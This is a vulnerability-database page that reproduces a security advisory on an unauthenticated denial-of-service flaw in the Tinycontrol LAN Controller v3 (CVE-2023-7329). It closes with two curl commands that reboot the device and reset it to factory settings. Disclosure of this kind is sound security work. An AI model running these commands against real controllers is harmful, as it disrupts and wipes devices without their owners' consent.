Vulners
Lucene search
Tinycontrol LAN Controller v3 (LK3) Remote Denial Of Service Exploit
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | CVE-2023-7329 | 12 Nov 202522:41 | – | circl |
 | Tinycontrol LAN Controller 安全漏洞 | 12 Nov 202500:00 | – | cnnvd |
 | CVE-2023-7329 | 12 Nov 202522:06 | – | cve |
 | CVE-2023-7329 Tinycontrol LAN Controller v3 (LK3) Remote DoS | 12 Nov 202522:06 | – | cvelist |
 | EUVD-2023-60057 | 13 Nov 202500:30 | – | euvd |
 | CVE-2023-7329 | 12 Nov 202522:15 | – | nvd |
 | PT-2025-46734 | 12 Nov 202500:00 | – | ptsecurity |
 | CVE-2023-7329 | 13 Nov 202523:08 | – | redhatcve |
 | CVE-2023-7329 Tinycontrol LAN Controller v3 (LK3) Remote DoS | 12 Nov 202522:06 | – | vulnrichment |
<html><body><p>Tinycontrol LAN Controller v3 (LK3) Remote Denial Of Service Exploit
Vendor: Tinycontrol
Product web page: https://www.tinycontrol.pl
Affected version: <=1.58a, HW 3.8
Summary: Lan Controller is a very universal
device that allows you to connect many different
sensors and remotely view their readings and
remotely control various types of outputs.
It is also possible to combine both functions
into an automatic if -> this with a calendar
when -> then. The device provides a user interface
in the form of a web page. The website presents
readings of various types of sensors: temperature,
humidity, pressure, voltage, current. It also
allows you to configure the device, incl. event
setting and controlling up to 10 outputs. Thanks
to the support of many protocols, it is possible
to operate from smartphones, collect and observ
the results on the server, as well as cooperation
with other I/O systems based on TCP/IP and Modbus.
Desc: The controller suffers from an unauthenticated
remote denial of service vulnerability. An attacker
can issue direct requests to the stm.cgi page to
reboot and also reset factory settings on the device.
Tested on: lwIP
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5785
Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5785.php
18.08.2023
--
$ curl http://192.168.1.1:8082/stm.cgi?eeprom_reset=1 # restore default settings
$ curl http://192.168.1.1:8082/stm.cgi?lk3restart=1 # reboot controller
</p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
31 Aug 2023 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 48.7
EPSS0.00513
SSVC